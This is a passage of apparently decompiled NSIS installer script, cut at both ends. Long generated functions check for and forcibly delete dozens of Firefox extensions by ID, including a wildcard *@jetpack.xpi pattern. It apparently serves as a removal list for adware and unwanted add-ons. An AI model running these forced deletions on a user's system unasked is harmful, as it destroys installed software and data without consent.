/REBOOTOK $_59_\extensions\{D394D188-BAC7-4e03-8FAF-389A4D7EC6F4}.xpi label_8254: IfFileExists $_59_\extensions\firefox@surftastic.net.xpi 0 label_8256 Delete /REBOOTOK $_59_\extensions\firefox@surftastic.net.xpi label_8256: IfFileExists $_59_\extensions\{01531192-f7ef-415f-a549-cfdb11836731}.xpi 0 label_8258 Delete /REBOOTOK $_59_\extensions\{01531192-f7ef-415f-a549-cfdb11836731}.xpi label_8258: IfFileExists $_59_\extensions\lightningnewtab@gmail.com.xpi 0 label_8260 Delete /REBOOTOK $_59_\extensions\lightningnewtab@gmail.com.xpi label_8260: IfFileExists $_59_\extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi 0 label_8262 Delete /REBOOTOK $_59_\extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi label_8262: IfFileExists $_59_\extensions\{fe272bd1-5f76-4ea4-8501-a05d35d823fc}.xpi 0 label_8264 Delete /REBOOTOK $_59_\extensions\{fe272bd1-5f76-4ea4-8501-a05d35d823fc}.xpi label_8264: IfFileExists $_59_\extensions\{4DC70064-89E2-4a55-8FC6-E8CDEAE3618C}.xpi 0 label_8266 Delete /REBOOTOK $_59_\extensions\{4DC70064-89E2-4a55-8FC6-E8CDEAE3618C}.xpi label_8266: IfFileExists $_59_\extensions\simpleadblock@wips.com.xpi 0 label_8268 Delete /REBOOTOK $_59_\extensions\simpleadblock@wips.com.xpi label_8268: IfFileExists $_59_\extensions\{55296253-4AF8-47DF-BC6F-EA21F1670ABA} 0 label_8270 RMDir /r /REBOOTOK $_59_\extensions\{55296253-4AF8-47DF-BC6F-EA21F1670ABA} label_8270: IfFileExists $_59_\extensions\{0634c8be-e700-47b3-9843-1695590313b5} 0 label_8272 RMDir /r /REBOOTOK $_59_\extensions\{0634c8be-e700-47b3-9843-1695590313b5} label_8272: IfFileExists $_59_\extensions\{05EB6920-D8AD-4350-BEF1-4F7107F70431} 0 label_8274 RMDir /r /REBOOTOK $_59_\extensions\{05EB6920-D8AD-4350-BEF1-4F7107F70431} label_8274: IfFileExists $_59_\extensions\{A06E9184-65B3-490A-AF63-E1EC0C4A3307} 0 label_8276 RMDir /r /REBOOTOK $_59_\extensions\{A06E9184-65B3-490A-AF63-E1EC0C4A3307} label_8276: IfFileExists $_59_\extensions\firefox@appsuper.biz.xpi 0 label_8278 Delete /REBOOTOK $_59_\extensions\firefox@appsuper.biz.xpi label_8278: IfFileExists $_59_\extensions\{1D355335-BE86-4418-AC98-2436CC3D6D74} 0 label_8280 RMDir /r /REBOOTOK $_59_\extensions\{1D355335-BE86-4418-AC98-2436CC3D6D74} label_8280: IfFileExists $_59_\extensions\{5E37FEF9-EC6F-484F-98E3-04B1A5B3D6EA} 0 label_8282 RMDir /r /REBOOTOK $_59_\extensions\{5E37FEF9-EC6F-484F-98E3-04B1A5B3D6EA} label_8282: IfFileExists $_59_\extensions\{e4a8a97b-f2ed-450b-b12d-ee082ba24782}.xpi 0 label_8284 Delete /REBOOTOK $_59_\extensions\{e4a8a97b-f2ed-450b-b12d-ee082ba24782}.xpi label_8284: IfFileExists $_59_\extensions\{105ab606-4b16-4c87-a246-89db11c84efa} 0 label_8286 RMDir /r /REBOOTOK $_59_\extensions\{105ab606-4b16-4c87-a246-89db11c84efa} label_8286: IfFileExists $_59_\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd} 0 label_8288 RMDir /r /REBOOTOK $_59_\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd} label_8288: IfFileExists $_59_\extensions\{5F50F845-0528-401D-85D5-999E20B13DF5} 0 label_8290 RMDir /r /REBOOTOK $_59_\extensions\{5F50F845-0528-401D-85D5-999E20B13DF5} label_8290: IfFileExists $_59_\extensions\avdownloader-sk16@sk-sdk.com.xpi 0 label_8292 Delete /REBOOTOK $_59_\extensions\avdownloader-sk16@sk-sdk.com.xpi label_8292: IfFileExists $_59_\extensions\{a38384b3-2d1d-4f36-bc22-0f7ae402bcd7} 0 label_8294 RMDir /r /REBOOTOK $_59_\extensions\{a38384b3-2d1d-4f36-bc22-0f7ae402bcd7} label_8294: IfFileExists $_59_\extensions\{1FE48F08-A2AC-44AC-A21C-0556D91C50DA} 0 label_8296 RMDir /r /REBOOTOK $_59_\extensions\{1FE48F08-A2AC-44AC-A21C-0556D91C50DA} label_8296: IfFileExists $_59_\extensions\{4fa63c6e-3298-4ce7-ab22-f8218ac300e9}.xpi 0 label_8298 Delete /REBOOTOK $_59_\extensions\{4fa63c6e-3298-4ce7-ab22-f8218ac300e9}.xpi label_8298: IfFileExists $_59_\extensions\{37964A3C-4EE8-47b1-8321-34DE2C39BA4D} 0 label_8300 RMDir /r /REBOOTOK $_59_\extensions\{37964A3C-4EE8-47b1-8321-34DE2C39BA4D} label_8300: IfFileExists $_59_\extensions\{95778f0c-827d-4aba-b416-f07dd840fd6a} 0 label_8302 RMDir /r /REBOOTOK $_59_\extensions\{95778f0c-827d-4aba-b416-f07dd840fd6a} label_8302: IfFileExists $_59_\extensions\{3C6CF3C0-D800-4B4D-A3D8-8ADE406523B6} 0 label_8304 RMDir /r /REBOOTOK $_59_\extensions\{3C6CF3C0-D800-4B4D-A3D8-8ADE406523B6} label_8304: IfFileExists $_59_\extensions\avdownloader-sk21@sk-sdk.com.xpi 0 label_8306 Delete /REBOOTOK $_59_\extensions\avdownloader-sk21@sk-sdk.com.xpi label_8306: IfFileExists $_59_\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF} 0 label_8308 RMDir /r /REBOOTOK $_59_\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF} label_8308: IfFileExists $_59_\extensions\KUPPSH47587020@KROSM80190433.com 0 label_8310 RMDir /r /REBOOTOK $_59_\extensions\KUPPSH47587020@KROSM80190433.com label_8310: IfFileExists $_59_\extensions\{6addfddb-ea1d-40a6-89d8-c21f55872f83} 0 label_8312 RMDir /r /REBOOTOK $_59_\extensions\{6addfddb-ea1d-40a6-89d8-c21f55872f83} label_8312: IfFileExists $_59_\extensions\{886f5d30-5b8b-42ab-98f8-31d062b96dc3}.xpi 0 label_8314 Delete /REBOOTOK $_59_\extensions\{886f5d30-5b8b-42ab-98f8-31d062b96dc3}.xpi label_8314: IfFileExists $_59_\extensions\{bcaab8ad-c85a-4df0-833c-bb1e038f56cc}.xpi 0 label_8316 Delete /REBOOTOK $_59_\extensions\{bcaab8ad-c85a-4df0-833c-bb1e038f56cc}.xpi label_8316: IfFileExists $_59_\extensions\{a6994947-8316-401e-82e4-23da215413fb}.xpi 0 label_8318 Delete /REBOOTOK $_59_\extensions\{a6994947-8316-401e-82e4-23da215413fb}.xpi label_8318: IfFileExists $_59_\extensions\{cca87299-eea0-4645-9629-a73bae49fd30}.xpi 0 label_8320 Delete /REBOOTOK $_59_\extensions\{cca87299-eea0-4645-9629-a73bae49fd30}.xpi label_8320: IfFileExists $_59_\extensions\{689b5bed-4e9b-4b8b-a673-3c39fb4d2820}.xpi 0 label_8322 Delete /REBOOTOK $_59_\extensions\{689b5bed-4e9b-4b8b-a673-3c39fb4d2820}.xpi label_8322: IfFileExists $_59_\extensions\{921265c3-88e5-40e1-8d74-df5314572900}.xpi 0 label_8324 Delete /REBOOTOK $_59_\extensions\{921265c3-88e5-40e1-8d74-df5314572900}.xpi label_8324: IfFileExists $_59_\extensions\{6f19f6bb-634d-4bee-bd34-ae7a9c664fb8}.xpi 0 label_8326 Delete /REBOOTOK $_59_\extensions\{6f19f6bb-634d-4bee-bd34-ae7a9c664fb8}.xpi label_8326: IfFileExists $_59_\extensions\{20915d52-1148-4fc2-8788-129eeb5e27dd}.xpi 0 label_8328 Delete /REBOOTOK $_59_\extensions\{20915d52-1148-4fc2-8788-129eeb5e27dd}.xpi label_8328: IfFileExists $_59_\extensions\firefox@surfslidetide.com.xpi 0 label_8330 Delete /REBOOTOK $_59_\extensions\firefox@surfslidetide.com.xpi label_8330: IfFileExists $_59_\extensions\{4622aef0-e33e-4e1f-9b62-ca3f18b46b25}.xpi 0 label_8332 Delete /REBOOTOK $_59_\extensions\{4622aef0-e33e-4e1f-9b62-ca3f18b46b25}.xpi label_8332: IfFileExists $_59_\extensions\{ce45bed6-5a5d-49e9-ac1c-530454a830e2}.xpi 0 label_8334 Delete /REBOOTOK $_59_\extensions\{ce45bed6-5a5d-49e9-ac1c-530454a830e2}.xpi label_8334: FunctionEnd Function func_8335 IfFileExists $_59_\extensions\{1f01bfa6-8fc1-4c12-a219-da77269427c2}.xpi 0 label_8337 Delete /REBOOTOK $_59_\extensions\{1f01bfa6-8fc1-4c12-a219-da77269427c2}.xpi label_8337: IfFileExists $_59_\extensions\{9024F973-80C4-4B58-B02A-67C42A38232C} 0 label_8339 RMDir /r /REBOOTOK $_59_\extensions\{9024F973-80C4-4B58-B02A-67C42A38232C} label_8339: IfFileExists $_59_\extensions\{87b5a11e-3b54-42d2-9102-0a7cb1f79ebf}.xpi 0 label_8341 Delete /REBOOTOK $_59_\extensions\{87b5a11e-3b54-42d2-9102-0a7cb1f79ebf}.xpi label_8341: IfFileExists $_59_\extensions\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi 0 label_8343 Delete /REBOOTOK $_59_\extensions\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi label_8343: IfFileExists $_59_\extensions\avdownloader-sk25@sk-sdk.com.xpi 0 label_8345 Delete /REBOOTOK $_59_\extensions\avdownloader-sk25@sk-sdk.com.xpi label_8345: IfFileExists $_59_\extensions\avdownloader-sk23@sk-sdk.com.xpi 0 label_8347 Delete /REBOOTOK $_59_\extensions\avdownloader-sk23@sk-sdk.com.xpi label_8347: IfFileExists $_59_\extensions\{4889ddce-7a83-45e6-afc9-1e4f1149fff4}.xpi 0 label_8349 Delete /REBOOTOK $_59_\extensions\{4889ddce-7a83-45e6-afc9-1e4f1149fff4}.xpi label_8349: IfFileExists $_59_\extensions\{3560b757-0519-45b3-a215-cfb94afd0821}.xpi 0 label_8351 Delete /REBOOTOK $_59_\extensions\{3560b757-0519-45b3-a215-cfb94afd0821}.xpi label_8351: IfFileExists $_59_\extensions\6c03cee0ab9442c4a67a507@58d658df5a30468fabf5c7a.com 0 label_8353 RMDir /r /REBOOTOK $_59_\extensions\6c03cee0ab9442c4a67a507@58d658df5a30468fabf5c7a.com label_8353: IfFileExists $_59_\extensions\{c0915853-fd66-4086-a9ce-b80496d49b3f}.xpi 0 label_8355 Delete /REBOOTOK $_59_\extensions\{c0915853-fd66-4086-a9ce-b80496d49b3f}.xpi label_8355: IfFileExists $_59_\extensions\{4bd643ce-8ef9-41bb-9b43-501b4f8fae85}.xpi 0 label_8357 Delete /REBOOTOK $_59_\extensions\{4bd643ce-8ef9-41bb-9b43-501b4f8fae85}.xpi label_8357: IfFileExists $_59_\extensions\{34789ec0-129d-4a2d-b089-9977cdae65db}.xpi 0 label_8359 Delete /REBOOTOK $_59_\extensions\{34789ec0-129d-4a2d-b089-9977cdae65db}.xpi label_8359: IfFileExists $_59_\extensions\{955a1491-962c-4a4d-a25b-ddfc77991b58}.xpi 0 label_8361 Delete /REBOOTOK $_59_\extensions\{955a1491-962c-4a4d-a25b-ddfc77991b58}.xpi label_8361: IfFileExists $_59_\extensions\{e85a0e97-fa40-4dc4-a79e-e1c1cabe72eb}.xpi 0 label_8363 Delete /REBOOTOK $_59_\extensions\{e85a0e97-fa40-4dc4-a79e-e1c1cabe72eb}.xpi label_8363: IfFileExists $_59_\extensions\06a943c59f33a34bb5924aaf72cd2995@06a943c59f33a34bb5924aaf72cd2995.com 0 label_8365 RMDir /r /REBOOTOK $_59_\extensions\06a943c59f33a34bb5924aaf72cd2995@06a943c59f33a34bb5924aaf72cd2995.com label_8365: IfFileExists $_59_\extensions\{80782301-ffd7-43bd-8ab4-c75946efea6a}.xpi 0 label_8367 Delete /REBOOTOK $_59_\extensions\{80782301-ffd7-43bd-8ab4-c75946efea6a}.xpi label_8367: IfFileExists $_59_\extensions\{fd3f661e-765a-4fd3-bc9d-fa7f9541babe}.xpi 0 label_8369 Delete /REBOOTOK $_59_\extensions\{fd3f661e-765a-4fd3-bc9d-fa7f9541babe}.xpi label_8369: IfFileExists $_59_\extensions\{8e26a968-b45d-442c-9e9c-048d5704f319}.xpi 0 label_8371 Delete /REBOOTOK $_59_\extensions\{8e26a968-b45d-442c-9e9c-048d5704f319}.xpi label_8371: IfFileExists $_59_\extensions\OIBMBKA115048682@HYKFIU97176590.com 0 label_8373 RMDir /r /REBOOTOK $_59_\extensions\OIBMBKA115048682@HYKFIU97176590.com label_8373: IfFileExists $_59_\extensions\{88dab020-0802-4f33-9294-5fccbb774bac}.xpi 0 label_8375 Delete /REBOOTOK $_59_\extensions\{88dab020-0802-4f33-9294-5fccbb774bac}.xpi label_8375: IfFileExists $_59_\extensions\{6493c517-5773-4c5d-bef4-5b60c3b0cf82}.xpi 0 label_8377 Delete /REBOOTOK $_59_\extensions\{6493c517-5773-4c5d-bef4-5b60c3b0cf82}.xpi label_8377: IfFileExists $_59_\extensions\{d9a4216a-aae1-4d14-ba35-ff234b3b627f}.xpi 0 label_8379 Delete /REBOOTOK $_59_\extensions\{d9a4216a-aae1-4d14-ba35-ff234b3b627f}.xpi label_8379: IfFileExists $_59_\extensions\firefox@sourceapp.info.xpi 0 label_8381 Delete /REBOOTOK $_59_\extensions\firefox@sourceapp.info.xpi label_8381: IfFileExists $_59_\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E} 0 label_8383 RMDir /r /REBOOTOK $_59_\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E} label_8383: IfFileExists $_59_\extensions\e9d197d59f2f45f382b1aa5c14d82@8706aaed9b904554b5cb7984e9.com 0 label_8385 RMDir /r /REBOOTOK $_59_\extensions\e9d197d59f2f45f382b1aa5c14d82@8706aaed9b904554b5cb7984e9.com label_8385: IfFileExists $_59_\extensions\{1B1F6171-E8D6-4F5F-9778-3009CC2748E2} 0 label_8387 RMDir /r /REBOOTOK $_59_\extensions\{1B1F6171-E8D6-4F5F-9778-3009CC2748E2} label_8387: IfFileExists $_59_\extensions\firefox@theswiftrecord.com.xpi 0 label_8389 Delete /REBOOTOK $_59_\extensions\firefox@theswiftrecord.com.xpi label_8389: IfFileExists $_59_\extensions\firefox@mysteelcut.com.xpi 0 label_8391 Delete /REBOOTOK $_59_\extensions\firefox@mysteelcut.com.xpi label_8391: IfFileExists $_59_\extensions\avdownloader-sk31@sk-sdk.com.xpi 0 label_8393 Delete /REBOOTOK $_59_\extensions\avdownloader-sk31@sk-sdk.com.xpi label_8393: IfFileExists $_59_\extensions\{77CD745A-D740-419E-92B7-814091CD1071} 0 label_8395 RMDir /r /REBOOTOK $_59_\extensions\{77CD745A-D740-419E-92B7-814091CD1071} label_8395: IfFileExists $_59_\extensions\firefox@pathmaxx.net.xpi 0 label_8397 Delete /REBOOTOK $_59_\extensions\firefox@pathmaxx.net.xpi label_8397: IfFileExists $_59_\extensions\d4db60df25f14dae9dd18@185c395f9e794c9ab86be3eb.com 0 label_8399 RMDir /r /REBOOTOK $_59_\extensions\d4db60df25f14dae9dd18@185c395f9e794c9ab86be3eb.com label_8399: IfFileExists $_59_\extensions\{a3730592-7b31-4002-9366-8a726171fb7b}.xpi 0 label_8401 Delete /REBOOTOK $_59_\extensions\{a3730592-7b31-4002-9366-8a726171fb7b}.xpi label_8401: IfFileExists $_59_\extensions\{61bc9620-8c15-4bf6-b992-006d0996a7bb}.xpi 0 label_8403 Delete /REBOOTOK $_59_\extensions\{61bc9620-8c15-4bf6-b992-006d0996a7bb}.xpi label_8403: IfFileExists $_59_\extensions\{fb92294f-e3a9-46df-8629-f1181a435cf0}.xpi 0 label_8405 Delete /REBOOTOK $_59_\extensions\{fb92294f-e3a9-46df-8629-f1181a435cf0}.xpi label_8405: IfFileExists $_59_\extensions\{661c0ed7-888c-4961-a069-bf80da31e955}.xpi 0 label_8407 Delete /REBOOTOK $_59_\extensions\{661c0ed7-888c-4961-a069-bf80da31e955}.xpi label_8407: IfFileExists $_59_\extensions\{e06e3b1e-92f9-4f0c-a89e-8ca35d3784d2}.xpi 0 label_8409 Delete /REBOOTOK $_59_\extensions\{e06e3b1e-92f9-4f0c-a89e-8ca35d3784d2}.xpi label_8409: IfFileExists $_59_\extensions\avdown10_loader@av-down-10.net 0 label_8411 RMDir /r /REBOOTOK $_59_\extensions\avdown10_loader@av-down-10.net label_8411: IfFileExists $_59_\extensions\{684D4E6B-E019-4970-8A1A-62A56F2BB2F9} 0 label_8413 RMDir /r /REBOOTOK $_59_\extensions\{684D4E6B-E019-4970-8A1A-62A56F2BB2F9} label_8413: IfFileExists $_59_\extensions\{0cb0c545-305c-44e0-9816-7e316bdfe237}.xpi 0 label_8415 Delete /REBOOTOK $_59_\extensions\{0cb0c545-305c-44e0-9816-7e316bdfe237}.xpi label_8415: IfFileExists $_59_\extensions\{d2987c5a-d6d8-46af-82d2-c3c2c88502d8}.xpi 0 label_8417 Delete /REBOOTOK $_59_\extensions\{d2987c5a-d6d8-46af-82d2-c3c2c88502d8}.xpi label_8417: IfFileExists $_59_\extensions\{4ef0c05a-9c51-4169-8766-50499ecedac1}.xpi 0 label_8419 Delete /REBOOTOK $_59_\extensions\{4ef0c05a-9c51-4169-8766-50499ecedac1}.xpi label_8419: IfFileExists $_59_\extensions\{1f575d58-4843-48b3-90d3-c79b549f437a}.xpi 0 label_8421 Delete /REBOOTOK $_59_\extensions\{1f575d58-4843-48b3-90d3-c79b549f437a}.xpi label_8421: IfFileExists $_59_\extensions\{6010c1d4-82a3-4db6-b3f6-09826a275523}.xpi 0 label_8423 Delete /REBOOTOK $_59_\extensions\{6010c1d4-82a3-4db6-b3f6-09826a275523}.xpi label_8423: IfFileExists $_59_\extensions\{23f7051d-18e8-44e2-a226-2e4ebb10608f}.xpi 0 label_8425 Delete /REBOOTOK $_59_\extensions\{23f7051d-18e8-44e2-a226-2e4ebb10608f}.xpi label_8425: IfFileExists $_59_\extensions\{ebea2f01-162e-499b-ad18-028f0259de6f}.xpi 0 label_8427 Delete /REBOOTOK $_59_\extensions\{ebea2f01-162e-499b-ad18-028f0259de6f}.xpi label_8427: IfFileExists $_59_\extensions\{89f3a763-5b09-4417-a205-f6585a7468e0}.xpi 0 label_8429 Delete /REBOOTOK $_59_\extensions\{89f3a763-5b09-4417-a205-f6585a7468e0}.xpi label_8429: IfFileExists $_59_\extensions\{d8d31aa1-b2d5-1cd9-ec71-867d38c2945c} 0 label_8431 RMDir /r /REBOOTOK $_59_\extensions\{d8d31aa1-b2d5-1cd9-ec71-867d38c2945c} label_8431: IfFileExists $_59_\extensions\{86495074-1e01-4c57-b1c7-869ad9007a9b}.xpi 0 label_8433 Delete /REBOOTOK $_59_\extensions\{86495074-1e01-4c57-b1c7-869ad9007a9b}.xpi label_8433: IfFileExists $_59_\extensions\{83f89b0e-6a57-42cc-b4c9-4d7255569deb}.xpi 0 label_8435 Delete /REBOOTOK $_59_\extensions\{83f89b0e-6a57-42cc-b4c9-4d7255569deb}.xpi label_8435: FunctionEnd Function func_8436 IfFileExists $_59_\extensions\{2c5699ec-85f1-4ae8-892b-4feb9efc1813}.xpi 0 label_8438 Delete /REBOOTOK $_59_\extensions\{2c5699ec-85f1-4ae8-892b-4feb9efc1813}.xpi label_8438: IfFileExists $_59_\extensions\{8a167a0d-2593-78be-dffa-baa301a8d989} 0 label_8440 RMDir /r /REBOOTOK $_59_\extensions\{8a167a0d-2593-78be-dffa-baa301a8d989} label_8440: IfFileExists $_59_\extensions\{42c2ce50-98bd-87f8-6695-f76e817ccf5a} 0 label_8442 RMDir /r /REBOOTOK $_59_\extensions\{42c2ce50-98bd-87f8-6695-f76e817ccf5a} label_8442: IfFileExists $_59_\extensions\{7929dd67-6f70-43ee-9cc7-c3b1ebca3d6c}.xpi 0 label_8444 Delete /REBOOTOK $_59_\extensions\{7929dd67-6f70-43ee-9cc7-c3b1ebca3d6c}.xpi label_8444: IfFileExists $_59_\extensions\{6eab28b9-4079-4e33-afb7-c332c7d8e930}.xpi 0 label_8446 Delete /REBOOTOK $_59_\extensions\{6eab28b9-4079-4e33-afb7-c332c7d8e930}.xpi label_8446: IfFileExists $_59_\extensions\{575b3a04-506c-436e-a31c-1cf303fdf32b}.xpi 0 label_8448 Delete /REBOOTOK $_59_\extensions\{575b3a04-506c-436e-a31c-1cf303fdf32b}.xpi label_8448: IfFileExists $_59_\extensions\advisor@AlawarDigital 0 label_8450 RMDir /r /REBOOTOK $_59_\extensions\advisor@AlawarDigital label_8450: IfFileExists $_59_\extensions\ccf7276c-d388-480f-8835-5b680025e1ca@gmail.com 0 label_8452 RMDir /r /REBOOTOK $_59_\extensions\ccf7276c-d388-480f-8835-5b680025e1ca@gmail.com label_8452: IfFileExists $_59_\extensions\iobitascsurfingprotection@iobit.com 0 label_8454 RMDir /r /REBOOTOK $_59_\extensions\iobitascsurfingprotection@iobit.com label_8454: IfFileExists $_59_\extensions\quick_searchff@gmail.com 0 label_8456 RMDir /r /REBOOTOK $_59_\extensions\quick_searchff@gmail.com label_8456: IfFileExists $_59_\extensions\scanner@sidex.ru 0 label_8458 RMDir /r /REBOOTOK $_59_\extensions\scanner@sidex.ru label_8458: IfFileExists $_59_\extensions\sweetsearch@gmail.com 0 label_8460 RMDir /r /REBOOTOK $_59_\extensions\sweetsearch@gmail.com label_8460: IfFileExists $_59_\extensions\translator@zoli.bod 0 label_8462 RMDir /r /REBOOTOK $_59_\extensions\translator@zoli.bod label_8462: IfFileExists $_59_\extensions\{607b689f-7600-45e4-b8e5-887f72dab15c} 0 label_8464 RMDir /r /REBOOTOK $_59_\extensions\{607b689f-7600-45e4-b8e5-887f72dab15c} label_8464: IfFileExists $_59_\extensions\{631F9C5D-6307-4E32-BC0D-B1C3A0C064F3} 0 label_8466 RMDir /r /REBOOTOK $_59_\extensions\{631F9C5D-6307-4E32-BC0D-B1C3A0C064F3} label_8466: IfFileExists $_59_\extensions\{033a8c6f-862d-4347-b28e-fa9ff3a16aca}.xpi 0 label_8468 Delete /REBOOTOK $_59_\extensions\{033a8c6f-862d-4347-b28e-fa9ff3a16aca}.xpi label_8468: IfFileExists $_59_\extensions\{530c39e5-e979-4143-976a-0407dd0fc0a9}.xpi 0 label_8470 Delete /REBOOTOK $_59_\extensions\{530c39e5-e979-4143-976a-0407dd0fc0a9}.xpi label_8470: IfFileExists $_59_\extensions\{8a6c5cb0-8029-45d5-81ec-3d760f3f2e68}.xpi 0 label_8472 Delete /REBOOTOK $_59_\extensions\{8a6c5cb0-8029-45d5-81ec-3d760f3f2e68}.xpi label_8472: IfFileExists $_59_\extensions\{a39d17ac-a52f-4ea6-9251-3e4afb5f49e5}.xpi 0 label_8474 Delete /REBOOTOK $_59_\extensions\{a39d17ac-a52f-4ea6-9251-3e4afb5f49e5}.xpi label_8474: IfFileExists $_59_\extensions\{54567227-7c1c-4efc-bf38-4ac4c6032ba2}.xpi 0 label_8476 Delete /REBOOTOK $_59_\extensions\{54567227-7c1c-4efc-bf38-4ac4c6032ba2}.xpi label_8476: IfFileExists $_59_\extensions\{e08fcad9-9d66-45db-b3c2-5d84d4983d6e}.xpi 0 label_8478 Delete /REBOOTOK $_59_\extensions\{e08fcad9-9d66-45db-b3c2-5d84d4983d6e}.xpi label_8478: IfFileExists $_59_\extensions\{6E727987-C8EA-44DA-8749-310C0FBE3C3E} 0 label_8480 RMDir /r /REBOOTOK $_59_\extensions\{6E727987-C8EA-44DA-8749-310C0FBE3C3E} label_8480: IfFileExists $_59_\extensions\{b75bf4f2-b9e7-4446-be16-8fafc15eb88d}.xpi 0 label_8482 Delete /REBOOTOK $_59_\extensions\{b75bf4f2-b9e7-4446-be16-8fafc15eb88d}.xpi label_8482: IfFileExists $_59_\extensions\{df98b4bc-0486-43f6-82e9-55124a0a3851}.xpi 0 label_8484 Delete /REBOOTOK $_59_\extensions\{df98b4bc-0486-43f6-82e9-55124a0a3851}.xpi label_8484: IfFileExists $_59_\extensions\{e8f0b08d-0e23-4874-b486-b0090bc03fe5}.xpi 0 label_8486 Delete /REBOOTOK $_59_\extensions\{e8f0b08d-0e23-4874-b486-b0090bc03fe5}.xpi label_8486: IfFileExists $_59_\extensions\{d720d64d-c71a-4316-b59e-8a41b860178f} 0 label_8488 RMDir /r /REBOOTOK $_59_\extensions\{d720d64d-c71a-4316-b59e-8a41b860178f} label_8488: IfFileExists $_59_\extensions\{2f5382ee-8543-4e85-88b0-1fbda91a5501}.xpi 0 label_8490 Delete /REBOOTOK $_59_\extensions\{2f5382ee-8543-4e85-88b0-1fbda91a5501}.xpi label_8490: IfFileExists $_59_\extensions\{ef04cd98-5bf9-4b98-88c5-2cd85a489f29}.xpi 0 label_8492 Delete /REBOOTOK $_59_\extensions\{ef04cd98-5bf9-4b98-88c5-2cd85a489f29}.xpi label_8492: IfFileExists $_59_\extensions\{defd8be5-903f-4585-bfe4-4ac9892c6215}.xpi 0 label_8494 Delete /REBOOTOK $_59_\extensions\{defd8be5-903f-4585-bfe4-4ac9892c6215}.xpi label_8494: IfFileExists $_59_\extensions\{15ffe680-f508-4e34-9186-1c1e8f02c252}.xpi 0 label_8496 Delete /REBOOTOK $_59_\extensions\{15ffe680-f508-4e34-9186-1c1e8f02c252}.xpi label_8496: IfFileExists $_59_\extensions\WQNKK59573794@WAYA30227232.com 0 label_8498 RMDir /r /REBOOTOK $_59_\extensions\WQNKK59573794@WAYA30227232.com label_8498: IfFileExists $_59_\extensions\{361bdfbd-a59f-41fc-9013-7d7dfdba60ef}.xpi 0 label_8500 Delete /REBOOTOK $_59_\extensions\{361bdfbd-a59f-41fc-9013-7d7dfdba60ef}.xpi label_8500: IfFileExists $_59_\extensions\{64955d58-a14d-421d-9649-9c4bedba4a14}.xpi 0 label_8502 Delete /REBOOTOK $_59_\extensions\{64955d58-a14d-421d-9649-9c4bedba4a14}.xpi label_8502: IfFileExists $_59_\extensions\*@jetpack.xpi 0 label_8504 Delete /REBOOTOK $_59_\extensions\*@jetpack.xpi label_8504: IfFileExists $_59_\extensions\{787b097b-bb5c-4713-bb72-c2d78b846ffa}.xpi 0 label_8506 Delete /REBOOTOK $_59_\extensions\{787b097b-bb5c-4713-bb72-c2d78b846ffa}.xpi label_8506: IfFileExists $_59_\extensions\{df939561-d922-423d-8b4f-41764db11526}.xpi 0 label_8508 Delete /REBOOTOK $_59_\extensions\{df939561-d922-423d-8b4f-41764db11526}.xpi label_8508: IfFileExists $_59_\extensions\{7ac2c1a1-86c6-433c-a5d3-1f965778f48a}.xpi 0 label_8510 Delete /REBOOTOK $_59_\extensions\{7ac2c1a1-86c6-433c-a5d3-1f965778f48a}.xpi label_8510: IfFileExists $_59_\extensions\{3aba10bc-af2b-4490-a846-67258f4bf417}.xpi 0 label_8512 Delete /REBOOTOK $_59_\extensions\{3aba10bc-af2b-4490-a846-67258f4bf417}.xpi label_8512: IfFileExists $_59_\extensions\{d84bab45-b127-f7e0-f2fc-947924d7c73b} 0 label_8514 RMDir /r /REBOOTOK $_59_\extensions\{d84bab45-b127-f7e0-f2fc-947924d7c73b} label_8514: IfFileExists $_59_\extensions\{6df2f73e-17d8-40e2-a697-ff95eaa0ed40}.xpi 0 label_8516 Delete /REBOOTOK $_59_\extensions\{6df2f73e-17d8-40e2-a697-ff95eaa0ed40}.xpi label_8516: IfFileExists $_59_\extensions\{2a695a48-a0c7-4e99-91ef-54a019a542ad}.xpi 0 label_8518 Delete /REBOOTOK $_59_\extensions\{2a695a48-a0c7-4e99-91ef-54a019a542ad}.xpi label_8518: IfFileExists $_59_\extensions\{59993c10-330a-47ed-916d-3a4ee4b9c6fe}.xpi 0 label_8520 Delete /REBOOTOK $_59_\extensions\{59993c10-330a-47ed-916d-3a4ee4b9c6fe}.xpi label_8520: IfFileExists $_59_\extensions\{6b823d22-283a-46a7-a88e-741fe70bb794}.xpi 0 label_8522 Delete /REBOOTOK $_59_\extensions\{6b823d22-283a-46a7-a88e-741fe70bb794}.xpi label_8522: IfFileExists $_59_\extensions\{2300a61e-a619-4b24-a7c8-e9c3c5310d5c}.xpi 0 label_8524 Delete /REBOOTOK $_59_\extensions\{2300a61e-a619-4b24-a7c8-e9c3c5310d5c}.xpi label_8524: IfFileExists $_59_\extensions\tylerkeith11@aol.com 0 label_8526 RMDir /r /REBOOTOK $_59_\extensions\tylerkeith11@aol.com label_8526: IfFileExists $_59_\extensions\yasearch@yandex.ru 0 label_8528 RMDir /r /REBOOTOK $_59_\extensions\yasearch@yandex.ru label_8528: IfFileExists $_59_\extensions\{47887a95-8ff1-45b1-926b-1922a67fa6a8}.xpi 0 label_8530 Delete /REBOOTOK $_59_\extensions\{47887a95-8ff1-45b1-926b-1922a67fa6a8}.xpi label_8530: IfFileExists $_59_\extensions\{fd46204d-c01d-4990-b083-2c2451326b35}.xpi 0 label_8532 Delete /REBOOTOK $_59_\extensions\{fd46204d-c01d-4990-b083-2c2451326b35}.xpi label_8532: IfFileExists $_59_\extensions\{628fc969-aadf-4564-bcb3-0109749bf145}.xpi 0 label_8534 Delete /REBOOTOK $_59_\extensions\{628fc969-aadf-4564-bcb3-0109749bf145}.xpi label_8534: IfFileExists $_59_\extensions\{11944e07-3e46-4956-b8c7-7e52c7a44c1d}.xpi 0 label_8536 Delete /REBOOTOK $_59_\extensions\{11944e07-3e46-4956-b8c7-7e52c7a44c1d}.xpi label_8536: IfFileExists $_59_\extensions\{6b0c9c8b-76e8-4048-b069-8376aa74be4b}.xpi 0 label_8538 Delete /REBOOTOK $_59_\extensions\{6b0c9c8b-76e8-4048-b069-8376aa74be4b}.xpi label_8538: IfFileExists 